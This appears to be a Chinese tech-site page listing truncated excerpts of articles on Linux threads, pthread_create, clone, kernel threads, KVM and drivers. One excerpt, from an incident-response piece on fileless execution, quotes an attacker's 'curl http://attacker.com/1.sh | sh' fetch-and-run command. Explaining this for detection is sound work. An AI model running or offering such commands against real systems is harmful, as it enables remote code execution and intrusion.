版权声明：本文为博主原创文章，未经博主允许不得转载。 https://blog.csdn.net/huangweiqing80/article/details/83088465
Linux内核可以看作一个服务进程(管理软硬件资源，响应用户进程的种种合理以及不合理的请求)。
前言： 这里作者再次自不量力了，以一点微末的道行分析一下KVM的CPU虚拟化部分的代码。 分析： 1，分析具体代码逻辑之前，可以先使用strace大致看一下qemu启动的时候，和kernel的交互。 在正常启动qemu的命令之前加入strace即可：strace qemu-system-x86_64 -enable-kvm -m 2048 -drive if=virtio,file=/home/ubuntu-server-1604.qcow2,cache=none -redir :8090::80 -r
当在try_to_wake_up/wake_up_process和wake_up_new_task中唤醒进程时, 内核使用全局check_preempt_curr看看是否进程可以抢占当前进程可以抢占当前运行的进程. 请注意该过程不涉及核心调度器.
int pthread_create(pthread_t *restrict tidp,const pthread_attr_t *restrict_attr,void*（*start_rtn)(void*),void *restrict arg);
Linux内核在2.2版本中引入了类似线程的机制。Linux提供的vfork函数可以创建线程，此外Linux还提供了clone来创建一个线程，通过共享原来调用进程的地址空间，clone能像独立线程一样工作。Linux内核的独特，允许共享地址空间，clone创建的进程指向了父进程的数据结构，从而完成了父子进程共享内存和其他资源。clone的参数可以设置父子进程共享哪些资源，不共享哪些资源。实质上Linux内核并没有线程这个概念，或者说Linux不区分进程和线程。Linux喜欢称他们为任务。除了clone进程以外，Linux并不支持多线程，独立数据结构或内核子程序。但是POSIX标准提供了Pthread接口来实现用户级多线程编程。
MemoryFile 是 Java 层对 Ashmem 的一个封装，下面来一起学习 MemoryFile，掌握它的使用姿势和底层原理。
这篇文章，按照下面这 2 张图，来描述 glib 在 Linux 和 Windows 平台上，是如何来进行线程库的设计的。
Linux系统下的多线程遵循POSIX线程接口，称为 pthread。编写Linux下的多线程程序，需要使用头文件pthread.h，连接时需要使用库libpthread.a。顺便说一下，Linux 下pthread的实现是通过系统调用clone（）来实现的。clone（）是 Linux所特有的系统调用，它的使用方式类似fork，关于clone（）的详细情况，有兴趣的读者可以去查看有关文档说明。下面我们展示一个最简单的 多线程程序 pthread_create.c。 一个重要的线程创建函数原型：
首先，很多C++程序员从lambda 用法上反推容易发现是对象，因为lambda可以捕获！这是函数做不到的。的确，比如：
注：pthread_exit或者return返回的指针所指向的内存单元必须是全局的或者是用malloc分配的，不能在线程函数的栈上分配，因为当其它线程得到这个返回指针时线程函数已经退出了
6) bool __blk_end_request_cur(struct request *rq, int error)
也就是说，在应用程序中，可以通过open，write，read等函数来操作底层的驱动。
之前的文章中，我们讲到了无文件执行的方法以及混淆进程参数的方法，今天我们继续讲解一种linux无文件执行的技巧，是后台朋友给我的提醒，万分感谢，又学到了新的东西。
因为近期用到了Linux内核的相关知识，下面随笔将给出内核模块的编写记录，供大家参考。
大家好，又见面了，我是你们的朋友全栈君。 futex_t::wake 实际是一个计数器，防止在调用futex_wait函数前调用futex_wake而出现的死等现象， 函数futex只在满足(*addr1 == val)时等待。
"USB 接口"是逻辑上的 USB 设备，编写的 usb_driver 驱动程序，支持的是"USB 接口"：
Linux系统下的多线程遵循POSIX线程接口，称为 pthread。编写Linux下的多线程程序，需要使用头文件pthread.h，连接时需要使用库libpthread.a。顺便说一下，Linux 下pthread的实现是通过系统调用clone()来实现的。clone()是 Linux所特有的系统调用，它的使用方式类似fork，关于clone()的详细情况，有兴趣的读者可以去查看有关文档说明。下面我们展示一个最简单的 多线程程序 pthread_create.c。
Kobject是linux设备驱动模型的基础，也是设备模型中抽象的一部分。如果想了解设备驱动模型就需要明白Kobject的构成或原理。linux内核为了兼容各种形形色色的设备，就需要对各种设备的共性进行抽象，抽象出一个基类，其余的设备只需要继承此基类就可以了。而此基类就是kobject，但是C语言没有面向对象语法，这时候就需要将此基类(Kobject)嵌入到具体的结构体中，从而就可以访问控制此设备的操作。通常驱动程序员很少使用到kobject结构及其相关接口，而是使用封装之后的更高层的接口函数。
通过 ps 命令可以看到红色方框标出的都是父进程为2号进程的内核线程，2号进程即蓝色方框标出的进程 kthreadd，1号进程是绿色方框标出的进程 init，它们的父进程号都是0。
pthread。编写Linux下的多线程程序，需要使用头文件pthread.h，连接时需要使用库libpthread.a。顺便说一下，Linux
使用DEVICE_ATTR，可以实现驱动在sys目录自动创建文件,我们只需要实现show和store函数即可.
地址空间是进程能看到的资源窗口：一个进程能看到代码区、共享区、内核区、堆栈区，大部分的资源都是在地址空间上看到的
Janus中的Plugin是其非常重要的一部分内容，今天我们就来对这块内容做一下分析，看看Janus是如何实现Plugin的，以及它的工作原理是怎样的。
编译的时候发现，报错对‘pthread_create’未定义的引用，由于pthread库不是Linux系统默认的库，连接时需要使用库libpthread.a,所以在使用pthread_create创建线程时，在编译中要加-lpthread参数:然后重新编译
线程是计算机中独立运行的最小单位，运行时占用很少的系统资源。与多进程相比，多进程具有多进程不具备的一些优点，其最重要的是：对于多线程来说，其能够比多进程更加节省资源。
线程是计算机中独立运行的最小单位，运行时占用很少的系统资源。与多进程相比，多进程具有多进程不具备的一些优点，其最重要的是：对于多线程来说，其能够比多进程更加节省资源。 1、线程创建 在Linux中，新建的线程并不是在原先的进程中，而是系统通过一个系统调用clone()。该系统copy了一个和原先进程完全一样的进程，并在这个进程中执行线程函数。 在Linux中，通过函数pthread_create()函数实现线程的创建： int pthread_create(pthread_t *thread, const
| 导语 企鹅FM近几个版本的外网Crash出现很多OutOfMemory（以下简称OOM）问题，Crash的堆栈都在Thread::start方法上。该文详细分析了发生原因。 ---- 有两种栈： 出现次数最多的一种，称之为 堆栈A。 java.lang.OutOfMemoryError: pthread_create (1040KB stack) failed: Out of memory java.lang.Thread.nativeCreate(Native Method)
嵌入式系统在现代科技中发挥着越来越重要的作用，从智能家居到工业自动化，嵌入式设备已经无处不在。在开发嵌入式系统时，选择合适的操作系统是至关重要的一步。本文将深入探讨几种常见的嵌入式操作系统，并通过代码示例来比较它们的特性，以帮助开发者选择适合其项目的操作系统。
注：本文仅用于知识分享，请勿用于非法攻击，任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时，大家可能会查看pid以及/proc相关信息，比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令，通过/proc/$pid/exe抓样本等，但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢？最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
我们测试驱动加载是否正常工作，一般都会写应用程序去测试，这样驱动程序中需要实现 open、read 函数和 write 函数，然后写一个应用程序通过 open 打开节点，获取 fb 文件描述符，进而对文件进行读写操作。
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
进程与线程之间是有区别的，不过linux内核只提供了轻量进程的支持，未实现线程模型。Linux是一种“多进程单线程”的操作系统。Linux本身只有进程的概念，而其所谓的“线程”本质上在内核里仍然是进程。
本文介绍了多线程和线程同步的基础知识，并基于Linux环境进行了详细的实例分析。通过本文的学习，读者可以掌握多线程和线程同步的基本原理，并能够使用相关技术解决实际问题。
---其实经过这一段时间的Linux应用编程学习，自己总结发现到，在Linux应用编程当中有四大模块我们一定要掌握（这些是最基础的东西）：
根据man配置的信息可以得出pthread_create会创建一个线程，这个函数是linux系统的函数，可以用C或者C++直接调用，上面信息也告诉程序员这个函数在pthread.h， 这个函数有四个参数
早在LINUX2.2内核中。并不存在真正意义上的线程，当时Linux中常用的线程pthread实际上是通过进程来模拟的，也就是同过fork来创建“轻”进程，并且这种轻进程的线程也有个数的限制：最多只能有4096和此类线程同时运行。 2.4内核消除了个数上的限制，并且允许在系统运行中动态的调整进程数的上限，当时采用的是Linux Thread 线程库，它对应的线程模型是“一对一”，而线程的管理是在内核为的函数库中实现，这种线程得到了广泛的应用。但是它不与POSIX兼容。另外还有许多诸如信号处理，进程ID等方面的问题没有完全解决。 相似新的2.6内核中，进程调度通过重新的编写，删除了以前版本中的效率不高的算法，内核框架页也被重新编写。开始使用NPTL(Native POSIX Thread Library)线程库，这个线程库有以下几个目标： POSIX兼容，都处理结果和应用，底启动开销，低链接开销，与Linux Thread应用的二进制兼容，软硬件的可扩展能力，与C++集成等。 这一切是2.6的内核多线程机制更加完备。
kvm 驱动，现在已经是linux kernel的一个模块了。其主要负责虚拟机的创建，虚拟内存的分配，VCPU寄存器的读写以及VCPU的运行。
上篇文章(【i.MX6ULL】驱动开发1——字符设备开发模板)介绍了字符设备的开发模板，但那是一种旧版本的驱动开发模式，设备驱动需要手动分配设备号再使用 register_chrdev进行注册，加载成功以后还需要手动使用mknod命令创建设备节点，比较麻烦。
在linux系统中， 我们接触最多的莫过于用户空间的任务，像用户线程或用户进程，因为他们太活跃了，也太耀眼了以至于我们感受不到内核线程的存在，但是内核线程却在背后默默地付出着，如内存回收，脏页回写，处理大量的软中断等，如果没有内核线程那么linux世界是那么的可怕！本文力求与完整介绍完内核线程的整个生命周期，如内核线程的创建、调度等等，当然本文还是主要从内存管理和进程调度两个维度来解析，且不会涉及到具体的内核线程如kswapd的实现，最后我们会以一个简单的内核模块来说明如何在驱动代码中来创建使用内核线程。
关于进程和线程，在 Linux 中是一对儿很核心的概念。但是进程和线程到底有啥联系，又有啥区别，很多人还都没有搞清楚。
虽然讲解完了内核线程的创建过程，但是似乎又少点什么，那么下面我们来看两个细节：内核线程执行处理函数和内核线程上下文切换细节：
匿名管道，也称管道，是Linux下最常见的进程间通信方式之一。匿名管道在系统中没有实名，它只是进程的一种资源，会随着进程的结束而被系统清除。
这篇文章介绍Linux下线程的创建与基本使用案例，主要是案例代码为主；相关的函数详细介绍在上篇文章里已经介绍过了。
Socket的英文原本意思是 孔 或 插座。但在计算机科学中通常被称作为 套接字，主要用于相同机器的不同进程间或者不同机器间的通信。Socket的使用很多网络编程的书籍都有介绍，所以本文不打算介绍Socket的使用，只讨论Socket的具体实现，所以如果对Socket不太了解的同学可以先查阅Socket相关的资料或者书籍。
多线程调试的主要任务是准确及时地捕捉被调试程序线程状态的变化的事件，并且GDB针对根据捕捉到的事件做出相应的操作，其实最终的结果就是维护一根叫thread list的链表。上面的调试命令都是基于thread list链表来实现的，后面会有讲到。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
即时通信 IM
对象存储
